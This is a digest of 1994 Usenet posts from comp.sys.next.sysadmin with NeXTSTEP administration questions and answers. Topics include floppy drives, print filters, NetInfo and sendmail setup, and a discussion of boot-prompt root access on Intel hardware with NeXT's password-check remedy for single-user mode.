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Indiana University, francisr@indiana.edu (812)855-0327
From: daj@ccrma.Stanford.EDU (David Jaffe)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: floppy?
Date: 16 Mar 1994 00:46:55 GMT
Organization: CCRMA, Stanford University
Message-ID: <2m5ktv$m1v@nntp2.Stanford.EDU>
References: <1994Mar15.201510.657@caladan.fdn.org> <CMqD9I.n2y@usenet.ucs.indiana.edu>
I've got a PLI SuperFloppy 2.8 that just went south. I actually never use
2.8 mb disks. Does anyone know if PLI SuperFloppy 1.4 drives will work with
a NeXT 040 non-turbo cube? Or is there another external SCSI floppy drive
that will work? Also, there are some cheap 800K floppy drives out there.
Will they work with the NeXT OS? Or am I correct in assuming that the NeXT
OS can only read/write 1.4 and 2.8?
Please cc your response to david@jaffe.com. Thanks.
David Jaffe
From: vqueved@nssnext.calstatela.edu (Victor Quevedo)
Newsgroups: comp.sys.next.sysadmin
Subject: 5.25 Floppy with NeXTStep 3.2
Date: 16 Mar 1994 01:59:56 GMT
Organization: Information Resources and Technology
Message-ID: <2m5p6s$dfp@nic-nac.CSU.net>
Keywords: 5.25" and NS/I
Is there any way to access the 5.25" (1.2MB) Floppy using NS/I?
I have a dual boot machine (NeXTSTEP/DOS) and would like to be able to
access the 5.25" drive from the DOS end without having to
disable/disconnect enable/disable it. I remeber that NS/I tells you to
disconnect the 5.25" drive before you install it.
Is there a device driver for the 5.25" on the NS/I end?
Victor R. Quevedo
vqueved@nssnext.calstateale.edu
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From: sherlock@holmes.bsd.uchicago.edu
Subject: NS-black: keyboard equivalents
Message-ID: <1994Mar16.020838.19255@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Wed, 16 Mar 1994 02:08:38 GMT
I recently experimented with all the hypothetical
keyboard-equivalents that I could think of, using the 2nd-to-most-recent
keyboard that came with black hardware. I did this because I want keyboard
equivalents for almost everything (such as one can find in MS Windows).
Some of us have been having a discussion about this stuff in
c.s.n.advocacy, and one person (Stephen Peters) recommended that I post my
list of successful (and not) keyboard equivalents to the Usenet. It seems to
me that such a post is more suitable in c.s.n.sysadmin that in
c.s.n.advocacy, so here it is. There are explanations and qualifications
below the list.
NeXTSTEP keyboard-alternatives
PLAIN SHIFT ALT ALT/SHIFT
a A
b B xxx xxx
c C xxx xxx
d D xxx xxx
e E xxx
f F xxx
g G
h H
i I xxx
j J
k K
l L
m M xxx xxx
n N xxx xxx
o O
p P xxx xxx
q Q
r R xxx xxx
s S
t T xxx xxx
u U xxx
v V xxx xxx
w W xxx xxx
x x xxx xxx
y Y xxx
z Z xxx
1 ! xxx
2 @
3 #
4 $
5 % xxx
6 ^
7 & xxx
8 * xxx
9 (
0 )
- _
= + xxx xxx
"xxx" means either one of two things: (1) couldn't get any character
to appear when using this combination or (2) a character appeared but failed
to execute a menu item when custom assigned thereto.
My method was very simple: I went to the "Menu Preferences" section
of the Preferences.app and, with the cursor blinking in the "Key
Alternative:" box, I tried each of the above keyboard combinations (not
including the <Command> key, however, because that might have executed
something instead of simply printing the character).
I copied and pasted each resulting character into the above chart, in
a WP-NeXT document. (WP-NeXT's alternate key characters are often different
from those produced by NS itself. That's why I couldn't simply generate
these special characters within the WP document in the first place.)
I then custom-assigned each character to a simple menu command (I
believe I was experimenting w/ "Preferences..." but I don't remember for
sure.). I would quit the application that I was using to run the test; then
I would launch the application again. I would look at the menu item and,
each time, I observed that the correct character was, indeed, appearing to
the right of the menu-item's label. Then I would press the <Command> key
plus the other key(s) that I had used to generate that character in
Preferences.app. If it worked, it stayed in the chart. If it didn't work, I
replaced its entry, in the chart, with "xxx", and went on to the next one.
I was completely unsuccessful in generating any characters at all,
within Preferences.app, using the keypad keys. (The numeric keys, by
themselves, might have been the same as the other numeric keys but I don't
remember.)
If some of the special characters in the above chart do not appear
clearly enough when you access this post then you should be able to use the
same technique as I describe above in order to see for yourself what those
alternate characters are.
Final note: I have set up a few of these alternate characters as
keyboard equivalents. However, I find that I'm having trouble in
remembering, for example, which key-combination produces the paragraph
symbol, which I assigned to "Preferences..." and "Preferences". If you want
to take advantage of some of these keyboard alternatives, I expect that you
might have similar difficulty.
Of course, I neither can nor do make any sorts of assurances that any
of these keyboard equivalents will work for you --either work well or work at
all. Good luck.
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From: premise@churchst.ccs.itd.umich.edu (Sean Michael Willson)
Newsgroups: comp.sys.next.sysadmin
Subject: Workspace Manager Crash
Date: 16 Mar 1994 02:20:30 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <2m5qde$72g@lastactionhero.rs.itd.umich.edu>
Hello,
I am a student at the University of Michigan Ann Arbor. We have a
small NeXT lab on central campus that has 19 next motorollas, running
NeXTSTEP version 3.0. Whenever I log on to one of these machines (It
happens on all of them) I can do work for a while but then the workspace
manager crashes. I cannot figure out why. I have tried replacing my
NeXT file (My sys admin told me to) but that did nothing but lose
everything I did in customization. I sometimes can work for a few hours
switching between apps and then it will crash. Other times I will log in,
open mail, then when I click on the wrokspace manager CRASH. It becomming
more and more frequent and effecting my work. When it crashes it gives a
message the the "Workspace manager has crashed. PLease exit and save
changes if possible" or something like that. Is anyone can help at All I
would owe them forever. Please I love NeXT's and I have work to do.
Please help ASAP. This is the THIRD time I posted this. I have only
gotten one reply. Help!
Sean Willson
premise@churchst.ccs.itd.umich.edu
P.S. Problem still not solved!!!!!!!!!
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From: shay@netcom.com (Christian Shay)
Subject: Re: Help! Need some beginner install tips!
Message-ID: <shayCMqF45.DFs@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <shayCMouo8.6B3@netcom.com>
Date: Wed, 16 Mar 1994 00:38:28 GMT
As a followup to my own article, I'd like to add that the SCSI adaptor
is listed as a "NCR SCSI Adapter SDMS v. 3.0 53c810 PCI rev 2.0"
Is it possible to get a driver for this? Or am I hosed?
Christian
shay@netcom.com
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Adding a filter to Printing
Date: 16 Mar 1994 03:27:39 GMT
Organization: University of Illinois at Urbana
Message-ID: <2m5ubb$6a0@vixen.cso.uiuc.edu>
I want to add a /usr/bin/psnup -n 4 to the stream for all jobs
printed. I thought by changing /usr/lib/transcript/psif so that it
had a line:
PSNUP= "/usr/bin/psnup -n 4"
case $prog in
psif) $dman | $PSNUP | $comm ;;
psof) exec psbanner $pname ; exit 0 ;;
psnf) psdit | $dman | $comm ;;
pstf) pscat | $dman | $comm ;;
psgf) psplot | $dman | $comm ;;
psvf|pscf|psdf|psrf) echo "$prog: filter not available." 1>&2 ;
psbad $prog $pname $user $host | $comm ;;
esac
I thought it would work, but it won't. I thought this would work
because it's sort of how Marc Majka's Page Quotaing works in Quotas,
but that was 2.0 and this is 3.2.
Can anyone tell me how to get ALL jobs to come up 4-up?
Thanks.
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From: fwilliam@linus.smcm.edu (Frank Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: trn reader
Date: 16 Mar 1994 03:31:11 GMT
Organization: Los Alamos National Laboratory, NM
Message-ID: <2m5uhv$60j@umd5.umd.edu>
References: <2m5ubb$6a0@vixen.cso.uiuc.edu>
Hello I was wondering if anyone could send me a copy of the trn
news reader in fat version to run on NeXT Step 3.2 for Intel
processors. Please send to: fwilliam@oyster.smcm.edu using
NeXT mail.
Thanks in advance
Frank
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From: nicolev@number_one.apana.org.au
Subject: Location of tcsh sources please
Message-ID: <CMq9p1.69F@number_one.apana.org.au>
Sender: nicolev@number_one.apana.org.au (Nikki A Vincent)
Organization: Cafe de Strachan - the Virtual NeXTSTEP Cafe Downunder.
Date: Tue, 15 Mar 1994 22:41:24 GMT
Gidday
Can some kind soul please tell me where I can find the location of the
tcsh sources, and whether there are any quirks involved in compiling it
under NeXTstep.
Thanx heaps in advance.
Cheers
Nicole
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From: dtw07138@menudo.uh.edu (David Wang)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.marketplace,comp.sys.hardware
Subject: Newbie on a NeXT (sort of, limping along)
Date: 15 Mar 1994 22:57:47 -0600
Organization: University of Houston
Distribution: usa
Message-ID: <2m63kb$l6r@menudo.uh.edu>
okay, I'm new to the NeXT world, just installed NeXT on my computer (sort of
white machine, heh heh) and I have some stupid questions, hopefully someone
out there can help me...
1. I have a generic 14.4 modem, what terminal software out there can I get
so I can at least dial into my school.(I don't know how to unix to do this
though maybe I should learn...) I have been told that I should just get
a copy of Microphone. uh, how much is that, and where can I get it?
anyone want to sell me a copy that they no longer use cheap? (relatively)
2. When will the cursed drivers for Viper be released? anyway I can get at
least a beta release? I'm willing to be a guinea pig on this one, since
2 bit grayscale at 640 X 480 is not very appealing...
3. anyone have any advice to give to a Newbie regarding system administration
on a NeXT machine? i.e. a good reference book to pick up? I have a couple
books for programmers, but nothing on how to administer this system
efficiently, or do I just do it like Windoz, bump around until I get my
feel for the OS?
Any advice is appreciated...
Thanks,
David Wang
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From: scratch@sce.carleton.ca (Craig Scratchley)
Subject: ** Security Hole ** Can't restrict boot options on NS Intel
Message-ID: <scratch.763800276@arcturus.sce.carleton.ca>
Summary: Can't stop someone from booting up their own version of NeXTSTEP.
Keywords: Security Boot Device
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
Date: Wed, 16 Mar 1994 06:44:36 GMT
I have recently acquired an Intel Professional/GX Workstation
running NeXTSTEP 3.2 for Intel Processors, and would like to
integrate it into a mixed network running NFS, print servers,
etc. I find, however, that it would be a security risk to do so.
Please let me know if I am wrong.
The reason is as follows. When the machine is rebooted, a
NeXTSTEP boot prompt appears which allows anybody to reboot the
machine from a device other than the default device (an internal
IDE disk). For example, somebody might put in an installation
diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
hard-disk and just plug it in.
As explained in Chapter 14 - Security - of NeXT System
Administration (online documentation), such an action can give
the individual rebooting the workstation root access. This is a
large security concern. Incidentally, this document which comes
on the NeXTSTEP/Intel CD-ROM assumes that I am using NeXT's black
hardware, as it tells me that setting a hardware password can
restrict booting from other than the default device. This
password protection at the boot prompt is not available for
NeXTSTEP/Intel. I wonder how many people this has confused!
Anyways. I assumed that such an obvious security hole would have
been remedied by NeXT, so I called up their Technical Support.
The fellow there offered me no help. I suggested that NeXT take
my phone number, fix this problem, and get back to me, but the
fellow said that he wouldn't need my phone number as, if the
problem was to be fixed, it wouldn't be fixed before the next
release.
I can think of two (easy and fast) solutions to the problem,
however I am not a security genius and so my solutions may not be
perfect.
1) Provide an alternate boot program that does not prompt for
boot options.
2) Provide a boot program that can store a boot password (on the
disk) which is required for boot options.
I could write the first option myself if I was given the present
source code.
Note that with option 1, if the system administrator wanted to
boot off of a non-default device, he could use the Intel
Workstation hardware password and reconfigure the workstation to
boot first off of a floppy disk. Then he could use the NeXTSTEP
floppy disk, giving him some flexibility.
Anyways, the fellow at NeXT offered me no help or hope of help.
This problem must affect other NeXTSTEP users as well. Are there
any large NeXT customers who want to back me up on this.
Together, perhaps, we can persuade NeXT to remedy this security
hole.
Note: if what I have described above is not a security hole,
please explain to me how it is not.
Thanks
Craig Scratchley
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From: schwett@netcom.com (Mark Schwettmann)
Subject: Strange talk problems...
Message-ID: <schwettCMr105.59J@netcom.com>
Keywords: SLIP talk internet help me please!
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Wed, 16 Mar 1994 08:31:17 GMT
I've got a bit of a problem with my SLIP connection.
I'm using the 1.7 beta of PNI from Transys. On the whole, it works quite
well. I can send mail, receive mail, use POP clients, read netnews, finger,
telnet, ftp, and so on, all with no troubles.
THe only thing that doesn't work properly is the talk program. When I try
to use it I get a
Cannot figure out network address
message.
I thought that this was related to an improper domain or hostname setting,
or something like that, but I have checked everything I know of and can't
find anything wrong; also it seems to me that if it was a global setting
like that other tcpip interactions would be affected.
Anybody have any ideas?
(White hardware...)
Mark Schwettmann
schwett@netcom.com
NeXTMail OK
(thanks to POPOver!!)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: trn reader
Date: 16 Mar 1994 08:37:48 -0000
Organization: me organised, that's a joke.
Message-ID: <2m6ggs$1ge@steffi.demon.co.uk>
References: <2m5ubb$6a0@vixen.cso.uiuc.edu> <2m5uhv$60j@umd5.umd.edu>
Cc:
fwilliam@linus.smcm.edu (Frank Williams) wrote in comp.sys.next.sysadmin
>Hello I was wondering if anyone could send me a copy of the trn
>news reader in fat version to run on NeXT Step 3.2 for Intel
>processors. Please send to: fwilliam@oyster.smcm.edu using
>NeXT mail.
>
>Thanks in advance
>Frank
>
>--
>
>Frank Williams
>fwilliam@oyster.smcm.edu
>
Remember that the standard configuration for trn _may_ encode the
hostname into the binary. Together, with the fact that you haven't
specified how you read news. trn is configured differently if you are
using NNTPSERVER.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: ztrc@netcom.com (Zwei-Tseng Ray Chang)
Subject: Problem initializing floppy - boot block extends beyond front porch
Message-ID: <ztrcCMrBFo.EGB@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Distribution: usa
Date: Wed, 16 Mar 1994 12:16:35 GMT
Hi, I have a PLI SuperFloppy 2.8 connected to a TurboColor slab running NS 3.2.
The drive can read/write floppies no problem, in fact it does a better job
than my internal Sony drive, but I am unable to initialize floppies. I get
the following message when trying to initialize and then floppy is ejected:
Disk Label: Test
Disk Capacity 1MB, Device Block 512 bytes
probing for CDROM
probing for DOS
probing for mac
probing for cdaudio
/usr/etc/disk -i -h localhost -l "Test" /dev/rsd2a
disk name: PLI SUPER FLOPPY
disk type: removable_rw_scsi
device = /dev/rsd2a block size = 512 capacity = 1 MBytes
Disk Format in progress...
***Format Complete***
writing disk label
boot block extends beyond front porch
If I try to insert the same disk, I get message the disk is damaged, and
attempt to repair it fails. I notice from Console window that the internal
floppy recognizes disk and displays capacity in KBytes while the external
displays capacity in MBytes. If I insert disks with capacity 720KB, 1440KB,
2880KB, they will get mounted and show up as capacity 0MB, 1BM, 2BM. I have
also tried using the -d density option (not in man page but shows up when
invoking disk with no argument) while trying to manually run /usr/etc/disk to
intialize floppy, but it seems to have no effect.
I'm guessing that /usr/etc/disk is not correctly figuring out the disk
geometry and capacity, and I may need a disktab entry for the PLI drive.
The PLI drive was originally being used with a mono cube running NS 3.0, and
I do not remember having problems like this before. I have sold my cube and
have found a buyer for the PLI, and encountered the above problem while testing
the PLI before shipping. I do not want to sell something that's broken.
Please send me any solution, suggestion, or disktab entry for PLI SuperFloppy.
Thanks,
Ray Chang
ztrc@netcom.com
From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo, NIload & /etc/services
Date: Wed, 16 Mar 94 13:31:35 BST
Organization: EUnet GB
Message-ID: <2m723l$jul@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi -
I just did an niload -v services > /etc/services, and all seemed to go fine.
But when I tried to FTP, it told me there was no ftp/udp services avaliable.
UDP? When I looking netinfo, it had set ftp to UDP, port 69. Well, on looking
at /etc/services, there are two ftp entries there, the first on TCP/21, and
the second on UDP/69.
So I changed NetInfo to have FTP on TCP/21, which works fine for outgoing FTP
sessions. However, incoming FTP sessions don't work.
Has anybody seen this before? What should NetInfo have to get FTP (fully)
working properly again?
Thanks,
Charles.
From: thomas@arnold.fkp.physik.th-darmstadt.de (Thomas Traexler)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NetInfo, NIload & /etc/services
Date: 16 Mar 1994 14:11:42 GMT
Organization: Technische Hochschule Darmstadt
Message-ID: <2m742u$3ah@rs18.hrz.th-darmstadt.de>
References: <2m723l$jul@marble.Britain.EU.net>
In article <2m723l$jul@marble.Britain.EU.net> Charlesa@learned.co.uk
writes:
>
> Hi -
>
> I just did an niload -v services > /etc/services, and all seemed to go
^^^
niload -v services . < /etc/services ???
> Thanks,
>
> Charles.
--
Thomas Traexler Email:
TH-Darmstadt thomas@arnold.fkp.physik.th-darmstadt.de (NeXTmail)
Institut fuer dd3i@hrzpub.th-darmstadt.de (non NeXTmail)
Festkoerperphysik
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: A better way to use Installer app... (Vendors please read)
Date: 16 Mar 1994 13:49:12 -0000
Organization: me organised, that's a joke.
Message-ID: <2m72oo$3oc@steffi.demon.co.uk>
Today I went and grabbed IXAdaptor from vnp.com
The file was IXAdaptor-1May94.pkg.tar.gz (461222)
Examing the contents of this file reveals.
robert:/usr/tmp>gzcat IXAdaptor-1May94.pkg.tar.gz | tar ft -
IXAdaptor-1May94.pkg/
IXAdaptor-1May94.pkg/IXAdaptor-1May94.tar.Z
IXAdaptor-1May94.pkg/IXAdaptor-1May94.info
IXAdaptor-1May94.pkg/IXAdaptor-1May94.tiff
IXAdaptor-1May94.pkg/IXAdaptor-1May94.bom
IXAdaptor-1May94.pkg/IXAdaptor-1May94.sizes
IXAdaptor-1May94.pkg/IXAdaptor-1May94.pre_install
IXAdaptor-1May94.pkg/IXAdaptor-1May94.post_install
IXAdaptor-1May94.pkg/IXAdaptor-1May94.pre_delete
A standard package wrapper created with "package"
However, the tar has already been compressed, together with the
wrapper being distributed in gzipped form.
If we were to uncompress the tar and gzip the pkg we would get this.
robert:/usr/tmp/IXAdaptor-1May94.pkg>gzcat IXAdaptor-1May94.pkg.tar.gz
| tar ft
-
IXAdaptor-1May94.pkg/
IXAdaptor-1May94.pkg/IXAdaptor-1May94.info
IXAdaptor-1May94.pkg/IXAdaptor-1May94.tiff
IXAdaptor-1May94.pkg/IXAdaptor-1May94.bom
IXAdaptor-1May94.pkg/IXAdaptor-1May94.sizes
IXAdaptor-1May94.pkg/IXAdaptor-1May94.pre_install
IXAdaptor-1May94.pkg/IXAdaptor-1May94.post_install
IXAdaptor-1May94.pkg/IXAdaptor-1May94.pre_delete
IXAdaptor-1May94.pkg/IXAdaptor-1May94.tar
IXAdaptor-1May94.pkg.tar.gz (315939)
That's a 140K saving.
The problem at the moment is that Installer.app expects to see a
.tar.Z in the package. So we must ensure that a .tar.Z is available
during install.
The way to do this is as follows
Gzip the inner .tar so we have.
IXAdaptor-1May94.pkg/
IXAdaptor-1May94.pkg/IXAdaptor-1May94.tar.gz
IXAdaptor-1May94.pkg/IXAdaptor-1May94.info
IXAdaptor-1May94.pkg/IXAdaptor-1May94.tiff
IXAdaptor-1May94.pkg/IXAdaptor-1May94.bom
IXAdaptor-1May94.pkg/IXAdaptor-1May94.sizes
IXAdaptor-1May94.pkg/IXAdaptor-1May94.pre_install
IXAdaptor-1May94.pkg/IXAdaptor-1May94.post_install
IXAdaptor-1May94.pkg/IXAdaptor-1May94.pre_delete
This file is now IXAdaptor-1May94.pkg.tar (352256)
That's still a > 100K saving.
Now, the only thing that needs to be done is to ensure that a .tar.Z
is available during the install.
Here's how.
In your packagename.pre_install (This is for an Elm package)
put
#Note: that when you expand an already installed compressed package
#this script is run. So therefore you must ensure that the .gz file
#is present because when you compress a package in Installer.app you will
#always get a *.Z
if [ -f $1/elm.tar.gz ] ;then
/bin/echo "Uncompressing Elm"
/usr/bin/gunzip < $1/elm.tar.gz > $1/elm.tar
/usr/ucb/compress $1/elm.tar
fi
/bin/echo OK
Comments/Suggestions welcome.
The benefit of this approach is that your users will no longer have to
use gzip to uncompress the original tar. Since you can distribute in
.tar format, which WM understands... Has anybody added gunzip to the
WM/compression.bundle? Because currently FileViewer will not recognise
a .gz file but will expand a .tar.
Yes I do run Opener but WM should handle this in an extensible way.
Hopefully this shall curtail the redundancy involved when distributing
compressed packages.
PS: I'm not sure how this would work with chunking. If a script is run for each
chunk then it's probably possible to do something like this to support
chunking using gzip too. Otherwise I don't know about supporting
multiple volume chunks. I rarely receive software via floppy, since
it's not a concern for me.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: stewart@hibp7.ecse.rpi.edu (Paul Stewart)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Date: 16 Mar 1994 11:58:37 GMT
Organization: Rensselaer Polytechnic Institute Plasma Dynamics Laboratory
Message-ID: <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
References: <scratch.763800276@arcturus.sce.carleton.ca>
In-reply-to: scratch@sce.carleton.ca's message of Wed, 16 Mar 1994 06:44:36 GMT
> I have recently acquired an Intel Professional/GX Workstation
> running NeXTSTEP 3.2 for Intel Processors, and would like to
> integrate it into a mixed network running NFS, print servers,
> etc. I find, however, that it would be a security risk to do so.
> Please let me know if I am wrong.
>
> The reason is as follows. When the machine is rebooted, a
> NeXTSTEP boot prompt appears which allows anybody to reboot the
> machine from a device other than the default device (an internal
> IDE disk). For example, somebody might put in an installation
> diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
> hard-disk and just plug it in.
>
> As explained in Chapter 14 - Security - of NeXT System
> Administration (online documentation), such an action can give
> the individual rebooting the workstation root access. This is a
> large security concern. Incidentally, this document which comes
> on the NeXTSTEP/Intel CD-ROM assumes that I am using NeXT's black
> hardware, as it tells me that setting a hardware password can
> restrict booting from other than the default device. This
> password protection at the boot prompt is not available for
> NeXTSTEP/Intel. I wonder how many people this has confused!
>
> Anyways. I assumed that such an obvious security hole would have
> been remedied by NeXT, so I called up their Technical Support.
> The fellow there offered me no help. I suggested that NeXT take
> my phone number, fix this problem, and get back to me, but the
> fellow said that he wouldn't need my phone number as, if the
> problem was to be fixed, it wouldn't be fixed before the next
> release.
It may be possible that my comment might be considered callous, but:
Welcome to the world of Intel hardware. There is absolutely no
guarantee that you can prevent physical access to your system. This
is primarily due to the fact that the security can't start anywhere
except in software, because there is no "hardware password", etc
present in Intel hardware. I'd suppose the closest you could get
would be to enable your handy dandy keyboard lock.
> I can think of two (easy and fast) solutions to the problem,
> however I am not a security genius and so my solutions may not be
> perfect.
>
> 1) Provide an alternate boot program that does not prompt for
> boot options.
Still no use. You can always boot from floppy. At that point, your
machine doesn't know what NeXTSTEP is, or what boot program it should
be running. Again, this _has_ to be in hardware, and the nature of
your hardware defies this.
> 2) Provide a boot program that can store a boot password (on the
> disk) which is required for boot options.
Again, there's no reason why someone can't choose to boot from
somewhere else. A quick trip through your CMOS settings (or whatever)
will change where you boot from, and from there, your perpetrator has
all the access he wants to your other partitions. DOS is friendly
that way.
> I could write the first option myself if I was given the present
> source code.
>
> Note that with option 1, if the system administrator wanted to
> boot off of a non-default device, he could use the Intel
> Workstation hardware password and reconfigure the workstation to
> boot first off of a floppy disk. Then he could use the NeXTSTEP
> floppy disk, giving him some flexibility.
If we wanted to get truly engrossed, what's to prevent someone from
simply attaching his/her own device at the SCSI address (IDE ID?) that
your drive was, and mount your drive as a secondary partition?
> Note: if what I have described above is not a securi
> Note: if what I have described above is not a security hole,
> please explain to me how it is not.
>
It is a hole. However there isn't a fail-safe solution to this
problem, due to the nature of the hardware. It is possible that I am
in error, as your mention of "Intel Workstation hardware password"
might be an integral part to a possible partial solution, however that
would only apply to your particular hardware.
--
Paul
Newsgroups: comp.sys.next.sysadmin
Subject: Unix mail (sendmail.cf)
Message-ID: <1994Mar16.103734.30888@husc14.harvard.edu>
From: sali@tamika.harvard.edu (Andrej Sali)
Date: 16 Mar 94 10:37:33 EST
Keywords: email sendmail mail
Here is a question about /usr/ucb/mail (sendmail) addresses. I have a
NeXTstation with NS3.2 and a SLIP connection to Internet. I use a
nameserver which works fine for ping, etc. All email addressed to the
machines recognized by ping reaches them OK. However, there are some
machines that ping cannot find (unknown host) and my email does not get to
them:
ljvogi@stenar.arnes.si... Connecting to mailhost (ether)...
ljvogi@stenar.arnes.si... 550 Host unknown (Authoritative answer from name
serve
r)
Saving message in /clients/sali/dead.letter
/clients/sali/dead.letter... Sent
On the other hand, if I send email to these `unrecognized' hosts from
another properly configured machine on Internet everything is OK.
I understand that I should edit file /etc/sendmail/sendmail.cf on my
machine to tell sendmail where to look for additional information about
the email addresses that it cannot identify straight away. So the question
is: what precisely should I do to this file (or the problem is somewhere
else?)?
Thanks a lot.
Andrej Sali
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: One Solution [was: Re: ** Security Hole ** Can't restrict boot options on NS Intel]
Date: 16 Mar 1994 16:15:47 GMT
Organization: University of Houston
Message-ID: <2m7bbj$ata@menudo.uh.edu>
References: <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
In article <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
stewart@hibp7.ecse.rpi.edu (Paul Stewart) writes:
#
#> I have recently acquired an Intel Professional/GX Workstation
#> running NeXTSTEP 3.2 for Intel Processors, and would like to
#> integrate it into a mixed network running NFS, print servers,
#> etc. I find, however, that it would be a security risk to do so.
#> Please let me know if I am wrong.
#>
#> The reason is as follows. When the machine is rebooted, a
#> NeXTSTEP boot prompt appears which allows anybody to reboot the
#> machine from a device other than the default device (an internal
#> IDE disk). For example, somebody might put in an installation
#> diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
#> hard-disk and just plug it in.
#>
#> As explained in Chapter 14 - Security - of NeXT System
#> Administration (online documentation), such an action can give
#> the individual rebooting the workstation root access. This is a
#> large security concern. Incidentally, this document which comes
#> on the NeXTSTEP/Intel CD-ROM assumes that I am using NeXT's black
#> hardware, as it tells me that setting a hardware password can
#> restrict booting from other than the default device. This
#> password protection at the boot prompt is not available for
#> NeXTSTEP/Intel. I wonder how many people this has confused!
#>
#> Anyways. I assumed that such an obvious security hole would have
#> been remedied by NeXT, so I called up their Technical Support.
#> The fellow there offered me no help. I suggested that NeXT take
#> my phone number, fix this problem, and get back to me, but the
#> fellow said that he wouldn't need my phone number as, if the
#> problem was to be fixed, it wouldn't be fixed before the next
#> release.
#
#It may be possible that my comment might be considered callous, but:
#Welcome to the world of Intel hardware. There is absolutely no
#guarantee that you can prevent physical access to your system. This
#is primarily due to the fact that the security can't start anywhere
#except in software, because there is no "hardware password", etc
#present in Intel hardware. I'd suppose the closest you could get
#would be to enable your handy dandy keyboard lock.
#
#> I can think of two (easy and fast) solutions to the problem,
#> however I am not a security genius and so my solutions may not be
#> perfect.
#>
#> 1) Provide an alternate boot program that does not prompt for
#> boot options.
#
#Still no use. You can always boot from floppy. At that point, your
#machine doesn't know what NeXTSTEP is, or what boot program it should
#be running. Again, this _has_ to be in hardware, and the nature of
#your hardware defies this.
#
#> 2) Provide a boot program that can store a boot password (on the
#> disk) which is required for boot options.
#
#Again, there's no reason why someone can't choose to boot from
#somewhere else. A quick trip through your CMOS settings (or whatever)
#will change where you boot from, and from there, your perpetrator has
#all the access he wants to your other partitions. DOS is friendly
#that way.
#
#> I could write the first option myself if I was given the present
#> source code.
#>
#> Note that with option 1, if the system administrator wanted to
#> boot off of a non-default device, he could use the Intel
#> Workstation hardware password and reconfigure the workstation to
#> boot first off of a floppy disk. Then he could use the NeXTSTEP
#> floppy disk, giving him some flexibility.
#
#If we wanted to get truly engrossed, what's to prevent someone from
#simply attaching his/her own device at the SCSI address (IDE ID?) that
#your drive was, and mount your drive as a secondary partition?
#
#> Note: if what I have described above is not a securi
#
#> Note: if what I have described above is not a security hole,
#> please explain to me how it is not.
#>
#
#It is a hole. However there isn't a fail-safe solution to this
#problem, due to the nature of the hardware. It is possible that I am
#in error, as your mention of "Intel Workstation hardware password"
#might be an integral part to a possible partial solution, however that
#would only apply to your particular hardware.
#
#--
#Paul
This article provides one possible solution for the problem. It is
available from nextanswers@next.com (subject: index). The article is
SecureSingleUser_Readme.rtf. I have encluded all relevant pieces in the
uuencoded file attached to this message:
ENHACING SINGLE USER MODE SECURITY
The ability to boot a UNIX system in single-user mode is a security concern,
since single-user mode provides a root shell without requiring a password.
A solution is to force the user to supply a password before /bin/sh starts
in single user mode. You can accomplish this by running a password checking
program in the shell's startup file for root, /.profile.
----------
Disclaimer
----------
This system has been tested for security holes, and appears to resist
concerted efforts to defeat it. However, NeXT Computer Inc. disclaims any
warranty of any kind, expressed or implied, as to its fitness for any
particular use.
------------------
Directory Contents
------------------
This directory contains a sample password checking program called pw_check,
and a sample /.profile that runs the pw_check program, to ask for a root
password. The program allows three attempts, then halts the processor if the
correct password isn't entered.
NOTE: NetInfo does not run in UNIX single user mode, so you must set the
password in /etc/passwd.
This directory also contains a Makefile for the "make" utility, which will
automatically install the pw_check program and /.profile, and will protect
your /etc/rc.boot file so that the startup sequence cannot be interrupted
from the keyboard.
----------------------
How to Use These Files
----------------------
To install the pw_check program and the /.profile file, update your rc.boot
file, and place your local NetInfo domain's root password in the
/etc/password file automatically, start a root UNIX shell, change to this
directory, and type "make". For example:
cd <<this directory>>
make
A backup copy of /etc/passwd is placed in /etc/passwd.orig, a backup copy of
/etc/rc.boot is placed in /etc/rc.boot.orig, and a backup copy of /.profile
is placed in /.profile.orig.
To install these changes manually instead, follow these steps:
1. Compile the pw_check program with the command:
cc -o pw_check pw_check.c
2. Edit /.profile, and insert the following line as close as possible to
the
beginning of the file:
<<name of directory>>/pw_check root
If you want correct tty setup, place this line just after
"stty erase "^?" intr "^C" kill "^U" -decctlq".
You can use another user account instead of root. root is assumed if no
user name is given on the command-line.
3. Edit your /etc/rc.boot file, and add the following as the second line:
trap "" 2 3
This prevents the rc.boot file from being interrupted during startup,
which would circumvent the shell that runs /.profile.
4. Finally, set the password for the user root (or whichever user account
you
gave as an option to pw_check). You can use nidump to generate a
/etc/password format file from NetInfo and replace the appropriate line
in
your /etc/passwd file.
----------------------
Comments and Questions
----------------------
Send comments, questions, and problem reports to the author:
Marc Majka <Marc_Majka@next.com>
